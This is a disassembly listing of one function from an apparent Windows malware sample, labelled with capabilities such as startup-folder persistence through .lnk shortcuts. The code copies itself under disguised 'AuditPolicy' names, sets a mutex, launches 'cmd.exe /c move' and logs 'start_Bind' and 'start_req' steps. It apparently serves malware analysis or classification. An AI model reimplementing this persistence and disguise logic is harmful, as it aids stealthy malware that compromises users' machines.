Function at 0x40f520
Capabilities:
Check os version
Create directory
Create process on windows
Get common file path
Get program files directory
Get startup folder
Move file
Persist via lnk shortcut
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x526678
mov eax, dword fs:[0]
push eax
sub esp, 0x520
mov eax, dword [0x56e00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push dword [esi]
lea ecx, [ebp - 0x354]
call fcn.00410f40
push 2
push ecx
push 0x558f58
lea ecx, [ebp - 0x354]
mov dword [ebp - 4], 0
call fcn.00414d00
push 0xffffffffffffffff
inc eax
lea ecx, [ebp - 0x354]
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.00410910
mov esi, eax
cmp esi, 0x573c14
je 0x40f5e8
mov eax, dword [0x573c2c]
cmp eax, 0x10
jb 0x40f5c2
inc eax
push eax
push dword [0x573c18]
call fcn.00419260
add esp, 8
push esi
mov ecx, 0x573c14
mov dword [0x573c2c], 0xf
mov dword [0x573c28], 0
mov byte [0x573c18], 0
call fcn.00415250
mov eax, dword [ebp - 0x2e8]
cmp eax, 0x10
jb 0x40f603
inc eax
push eax
push dword [ebp - 0x2fc]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x2e8], 0xf
mov dword [ebp - 0x2ec], 0
mov byte [ebp - 0x2fc], 0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 4
call fcn.00416a30
lea ecx, [ebp - 0x300]
call fcn.00415cd0
push 1
push ecx
push 0x55895c
mov ecx, 0x573c14
mov byte [ebp - 4], 0
call fcn.00414d00
push eax
push 0
lea eax, [ebp - 0x300]
mov ecx, 0x573c14
push eax
call fcn.00410910
mov esi, eax
cmp esi, 0x573c14
je 0x40f6ac
mov eax, dword [0x573c2c]
cmp eax, 0x10
jb 0x40f686
inc eax
push eax
push dword [0x573c18]
call fcn.00419260
add esp, 8
push esi
mov ecx, 0x573c14
mov dword [0x573c2c], 0xf
mov dword [0x573c28], 0
mov byte [0x573c18], 0
call fcn.00415250
mov eax, dword [ebp - 0x2e8]
cmp eax, 0x10
jb 0x40f6c7
inc eax
push eax
push dword [ebp - 0x2fc]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x2e8], 0xf
mov dword [ebp - 0x2ec], 0
mov byte [ebp - 0x2fc], 0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 8
call fcn.00416a30
lea ecx, [ebp - 0x300]
call fcn.00415cd0
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx ecx, al
shr eax, 8
movzx edx, al
cmp ecx, 5
jne 0x40f72a
movzx eax, byte [0x5737a4]
mov ecx, 1
cmp edx, ecx
cmove eax, ecx
mov byte [0x5737a4], al
push 0
push 0x23
push 0x5737a8
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x573698
push 0x104
call edi
cmp byte [0x5737a8], 0
jne 0x40f75a
xor ecx, ecx
jmp 0x40f76b
mov ecx, 0x5737a8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f762
sub ecx, edx
push ecx
push 0x5737a8
mov ecx, 0x573c54
call fcn.00414ff0
cmp byte [0x5737a8], 0
jne 0x40f788
xor ecx, ecx
jmp 0x40f799
mov ecx, 0x5737a8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f790
sub ecx, edx
push ecx
push 0x5737a8
mov ecx, 0x573b84
call fcn.00414ff0
cmp byte [0x5737a8], 0
jne 0x40f7b6
xor ecx, ecx
jmp 0x40f7c9
mov ecx, 0x5737a8
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f7c0
sub ecx, edx
push ecx
push 0x5737a8
mov ecx, 0x573bdc
call fcn.00414ff0
cmp byte [0x5737a8], 0
jne 0x40f7e6
xor ecx, ecx
jmp 0x40f7f9
mov ecx, 0x5737a8
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f7f0
sub ecx, edx
push ecx
push 0x5737a8
mov ecx, 0x573bf8
call fcn.00414ff0
push 0x15
push 0x558c6c
mov ecx, 0x573bf8
call fcn.00410ae0
push 0x1c
push str.AuditPolicyGPInteropme.txt
mov ecx, 0x573c54
call fcn.00410ae0
push 0x25
push str.AuditPolicyGPInteropAuditPolicy.exe
mov ecx, 0x573bdc
call fcn.00410ae0
mov esi, 0x573c34
cmp esi, 0x573bf8
je 0x40f859
push 0xffffffffffffffff
push 0
push 0x573bf8
mov ecx, esi
call fcn.004150c0
push 0x11
push str.AuditPolicyGP.ne
mov ecx, esi
call fcn.00410ae0
mov esi, 0x573bc0
cmp esi, 0x573bf8
je 0x40f884
push 0xffffffffffffffff
push 0
push 0x573bf8
mov ecx, esi
call fcn.004150c0
push 0x11
push str.AuditPolicyGP.ne
mov ecx, esi
call fcn.00410ae0
push 0x104
lea eax, [ebp - 0x2e4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x300]
call fcn.00410f40
push 0x14
sub esp, 8
mov byte [ebp - 4], 9
mov ecx, eax
call fcn.00414e50
mov esi, eax
mov ecx, dword [ebp - 0x2e8]
cmp ecx, 0x10
jb 0x40f8e5
inc ecx
push ecx
push dword [ebp - 0x2fc]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x2e8], 0xf
mov dword [ebp - 0x2ec], 0
mov byte [ebp - 0x2fc], 0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xb
call fcn.00416a30
lea ecx, [ebp - 0x300]
call fcn.00415cd0
mov byte [ebp - 4], 0
cmp esi, 0xffffffff
jne 0x40fe1d
cmp dword [0x573c10], 0x10
mov esi, 0x573bfc
mov eax, esi
cmovae eax, dword [0x573bfc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [0x573c10], 0x10
push 0x80
cmovae esi, dword [0x573bfc]
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, str.file_Name.txt
call fcn.00407e50
sub esp, 0x1c
mov ecx, esp
push str.Program_is_starting_Now_...
call fcn.00410f40
call fcn.0040f180
add esp, 0x1c
lea ecx, [ebp - 0x338]
push 0x573bf8
call fcn.00411180
push str._file_Name.txt
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x300]
call fcn.00418620
add esp, 4
cmp dword [eax + 0x18], 0x10
jb 0x40f9b4
mov eax, dword [eax + 4]
jmp 0x40f9b7
add eax, 4
push 0x558410
push eax
call fcn.004b12d0
add esp, 8
mov esi, eax
mov ecx, dword [ebp - 0x2e8]
cmp ecx, 0x10
jb 0x40f9e2
inc ecx
push ecx
push dword [ebp - 0x2fc]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x2e8], 0xf
mov dword [ebp - 0x2ec], 0
mov byte [ebp - 0x2fc], 0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xe
call fcn.00416a30
lea ecx, [ebp - 0x300]
call fcn.00415cd0
mov eax, dword [ebp - 0x320]
cmp eax, 0x10
jb 0x40fa32
inc eax
push eax
push dword [ebp - 0x334]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x320], 0xf
mov dword [ebp - 0x324], 0
mov byte [ebp - 0x334], 0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x10
call fcn.00416a30
lea ecx, [ebp - 0x338]
call fcn.00415cd0
mov byte [ebp - 4], 0
test esi, esi
je 0x40fcbe
push esi
lea eax, [ebp - 0xdc]
push 0xc8
push eax
call fcn.004b6910
push esi
call fcn.004b20a0
add esp, 0x10
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0x338]
push eax
call fcn.00410f40
mov esi, eax
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x300]
call fcn.00410f40
mov edi, eax
push 0xffffffffffffffff
push ecx
push 0x558a24
mov ecx, esi
mov byte [ebp - 4], 0x12
call fcn.00410940
inc eax
mov ecx, edi
push eax
lea eax, [ebp - 0x4ec]
push eax
call fcn.00410910
push eax
mov ecx, 0x573d20
call fcn.00410d30
lea ecx, [ebp - 0x4ec]
call fcn.00410cb0
lea ecx, [ebp - 0x300]
call fcn.00410cb0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0
call fcn.00410cb0
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x338]
call fcn.00410f40
mov esi, eax
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x300]
call fcn.00410f40
mov edi, eax
push 3
sub esp, 8
mov byte [ebp - 4], 0x14
mov ecx, esi
call fcn.00414dc0
push eax
push 0
lea eax, [ebp - 0x4ec]
mov ecx, edi
push eax
call fcn.00410910
push eax
mov ecx, 0x573d74
call fcn.00410d30
lea ecx, [ebp - 0x4ec]
call fcn.00410cb0
lea ecx, [ebp - 0x300]
call fcn.00410cb0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0
call fcn.00410cb0
cmp dword [0x573d38], 0x10
mov esi, 0x573d24
mov eax, esi
cmovae eax, dword [0x573d24]
push 0
push eax
call fcn.004b5f60
add esp, 8
test eax, eax
je 0x40fc46
mov ecx, str.MangeFile
call fcn.00407e50
push 0x573bf8
lea ecx, [ebp - 0x338]
call fcn.00411180
push 0x558400
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x300]
call fcn.00418620
push str.MangeFile
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4ec]
call fcn.00418620
add esp, 8
cmp dword [0x573d38], 0x10
cmovae esi, dword [0x573d24]
cmp dword [eax + 0x18], 0x10
jb 0x40fc14
mov eax, dword [eax + 4]
jmp 0x40fc17
add eax, 4
push esi
push eax
call fcn.004b6940
add esp, 8
lea ecx, [ebp - 0x4ec]
call fcn.00410cb0
lea ecx, [ebp - 0x300]
call fcn.00410cb0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0
call fcn.00410cb0
push 0x573d20
lea ecx, [ebp - 0x31c]
call fcn.00411180
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0x308]
inc eax
push eax
call fcn.0048da00
sub esp, 8
lea ecx, [ebp - 0x31c]
mov esi, eax
push esp
call fcn.004109c0
sub esp, 0xc
lea ecx, [ebp - 0x31c]
push esp
call fcn.00410a20
mov ecx, esi
call fcn.00418a10
mov eax, dword [ebp - 0x308]
add esp, 0x18
push 1
push 0
push 0
push esi
push str.open
push 0
mov byte [eax + esi], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0
call fcn.00410cb0
push 0x1d4c0
call ebx
push 0x104
lea eax, [ebp - 0x1e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push reloc.ntdll.dll_RtlImageNtHeader
lea eax, [ebp - 0x4cc]
push 0
push eax
call fcn.004966c0
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00411620
push 0xb0
lea eax, [ebp - 0x414]
mov byte [ebp - 4], 0x18
push 0
push eax
call fcn.004966c0
cmp dword [0x573bf4], 0x10
lea ecx, [ebp - 0x414]
mov ebx, 0x573be0
mov eax, ebx
cmovae eax, dword [0x573be0]
push eax
call fcn.004112b0
push 0x1000
mov byte [ebp - 4], 0x19
call fcn.0048da00
push 0x2000
mov edi, eax
call fcn.0048da00
sub esp, 0x14
mov ecx, esp
push str.copy_program_and_s
call fcn.00410f40
call fcn.0040f180
add esp, 0x1c
push 0
push 0x1000
push edi
lea ecx, [ebp - 0x4cc]
call fcn.004130e0
mov esi, dword [ebp - 0x4c4]
lea ecx, [ebp - 0x414]
mov eax, esi
cdq
push edx
push eax
push edi
call fcn.004129d0
mov eax, dword [ebp - 0x4cc]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x4c0], 0
jne 0x40fda8
test esi, esi
jg 0x40fd67
lea ecx, [ebp - 0x414]
call fcn.00411240
lea ecx, [ebp - 0x4cc]
call fcn.00411490
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4d0], esp
push 0x573c34
call fcn.00411180
sub esp, 0x1c
mov byte [ebp - 4], 0x1a
mov ecx, esp
push 0x573bdc
call fcn.00411180
mov byte [ebp - 4], 0x19
call fcn.004062d0
add esp, 0x38
lea ecx, [ebp - 0x414]
call fcn.00406240
lea ecx, [ebp - 0x4cc]
call fcn.004064e0
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x40fe28
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x573be0
push 0x1388
mov byte [ebp - 4], 0x1b
call esi
push str.AuditPolicy.0
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x41040d
push str.AuditPolicy.0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x573698
push 0x104
call edi
push 0x573698
lea ecx, [ebp - 0x300]
call fcn.00410f40
push 0x573c14
mov edx, 0x558400
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x31c]
call fcn.00418930
add esp, 4
push str..lnk
mov edx, eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x4ec]
call fcn.00418620
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x20
call fcn.004151a0
mov eax, dword [ebp - 0x4d4]
cmp eax, 0x10
jb 0x40feda
inc eax
push eax
push dword [ebp - 0x4e8]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x4d4], 0xf
mov dword [ebp - 0x4d8], 0
mov byte [ebp - 0x4e8], 0
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x22
call fcn.00416a30
lea ecx, [ebp - 0x4ec]
call fcn.00415cd0
mov eax, dword [ebp - 0x304]
cmp eax, 0x10
jb 0x40ff2a
inc eax
push eax
push dword [ebp - 0x318]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x304], 0xf
mov dword [ebp - 0x308], 0
mov byte [ebp - 0x318], 0
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x24
call fcn.00416a30
lea ecx, [ebp - 0x31c]
call fcn.00415cd0
push 0
mov byte [ebp - 4], 0x1e
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [0x573c2c], 0x10
lea edx, [ebp - 0x2fc]
mov eax, 0x573c18
cmovae eax, dword [0x573c18]
cmp dword [ebp - 0x2e8], 0x10
push eax
cmovae edx, dword [ebp - 0x2fc]
cmp dword [0x573bf4], 0x10
cmovae ebx, dword [0x573be0]
mov ecx, ebx
call fcn.00406ed0
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
push 7
lea eax, [ebp - 0x1e0]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x338]
call fcn.00410f40
push 0x573c14
mov edx, 0x558400
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x4ec]
call fcn.00418930
add esp, 4
push str..lnk
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x31c]
call fcn.00418620
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x27
call fcn.004151a0
mov eax, dword [ebp - 0x304]
cmp eax, 0x10
jb 0x41003a
inc eax
push eax
push dword [ebp - 0x318]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x304], 0xf
mov dword [ebp - 0x308], 0
mov byte [ebp - 0x318], 0
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x29
call fcn.00416a30
lea ecx, [ebp - 0x31c]
call fcn.00415cd0
mov eax, dword [ebp - 0x4d4]
cmp eax, 0x10
jb 0x41008a
inc eax
push eax
push dword [ebp - 0x4e8]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x4d4], 0xf
mov dword [ebp - 0x4d8], 0
mov byte [ebp - 0x4e8], 0
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x2b
call fcn.00416a30
lea ecx, [ebp - 0x4ec]
call fcn.00415cd0
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x334]
cmp dword [ebp - 0x320], 0x10
push 0
cmovae eax, dword [ebp - 0x334]
push eax
call fcn.004b5f60
add esp, 8
test eax, eax
je 0x4101b4
lea eax, [ebp - 0x300]
mov edx, str._c_move__
push eax
lea ecx, [ebp - 0x52c]
call fcn.00418930
add esp, 4
push 0x5593b0
mov edx, eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x510]
call fcn.00418620
add esp, 4
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x334]
cmp dword [ebp - 0x320], 0x10
mov edx, eax
cmovae ecx, dword [ebp - 0x334]
push ecx
lea ecx, [ebp - 0x4ec]
call fcn.00418620
add esp, 4
push 0x559074
mov edx, eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x31c]
call fcn.00418620
add esp, 4
cmp dword [eax + 0x18], 0x10
jb 0x41016a
mov eax, dword [eax + 4]
jmp 0x41016d
add eax, 4
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x31c]
call fcn.00410cb0
lea ecx, [ebp - 0x4ec]
call fcn.00410cb0
lea ecx, [ebp - 0x510]
call fcn.00410cb0
lea ecx, [ebp - 0x52c]
mov byte [ebp - 4], 0x25
call fcn.00410cb0
lea ecx, [ebp - 0x31c]
call fcn.0040aca0
mov eax, dword [ebp - 0x304]
cmp eax, 0x10
jb 0x4101da
inc eax
push eax
push dword [ebp - 0x318]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x304], 0xf
mov dword [ebp - 0x308], 0
mov byte [ebp - 0x318], 0
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x30
call fcn.00416a30
lea ecx, [ebp - 0x31c]
call fcn.00415cd0
sub esp, 0x1c
mov byte [ebp - 4], 0x25
mov ecx, esp
push str.start_Bind
call fcn.00410f40
call fcn.0040f180
add esp, 0x1c
lea ecx, [ebp - 0x4f0]
mov edx, 0x40aac0
call fcn.0041a500
mov edx, eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x364]
call fcn.0041a530
mov eax, dword [ebp - 0x4f0]
test eax, eax
je 0x410260
push 4
push eax
call fcn.0048d9e0
add esp, 8
mov byte [ebp - 4], 0x32
call fcn.0040ea50
call fcn.0040bb30
sub esp, 0x1c
mov ecx, esp
push str.start_req
call fcn.00410f40
call fcn.0040f180
add esp, 0x1c
lea ecx, [ebp - 0x4d0]
mov edx, 0x40c000
call fcn.0041a500
mov edx, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x35c]
call fcn.0041a530
mov eax, dword [ebp - 0x4d0]
test eax, eax
je 0x4102bb
push 4
push eax
call fcn.0048d9e0
add esp, 8
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0x34
call fcn.004048c0
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x358], 0
setne al
test al, al
je 0x4102e1
call fcn.004b6150
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x360], 0
setne al
test al, al
je 0x4102f8
call fcn.004b6150
mov eax, dword [ebp - 0x320]
cmp eax, 0x10
jb 0x410313
inc eax
push eax
push dword [ebp - 0x334]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x320], 0xf
mov dword [ebp - 0x324], 0
mov byte [ebp - 0x334], 0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x36
call fcn.00416a30
lea ecx, [ebp - 0x338]
call fcn.00415cd0
mov eax, dword [ebp - 0x2e8]
cmp eax, 0x10
jb 0x410363
inc eax
push eax
push dword [ebp - 0x2fc]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x2e8], 0xf
mov dword [ebp - 0x2ec], 0
mov byte [ebp - 0x2fc], 0
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x38
call fcn.00416a30
lea ecx, [ebp - 0x300]
call fcn.00415cd0
mov dword [ebp - 4], 0x3a
mov eax, dword [ebp - 0x33c]
cmp eax, 0x10
jb 0x4103ba
inc eax
push eax
push dword [ebp - 0x350]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x33c], 0xf
mov dword [ebp - 0x340], 0
mov byte [ebp - 0x350], 0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x354]
call fcn.00416a30
lea ecx, [ebp - 0x354]
call fcn.00415cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0048cd50
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x1c
mov eax, dword [ebp - 0x33c]
cmp eax, 0x10
jb 0x41042f
inc eax
push eax
push dword [ebp - 0x350]
call fcn.00419260
add esp, 8
mov dword [ebp - 0x33c], 0xf
mov dword [ebp - 0x340], 0
mov byte [ebp - 0x350], 0
mov byte [ebp - 4], 0x1d
jmp 0x4103d9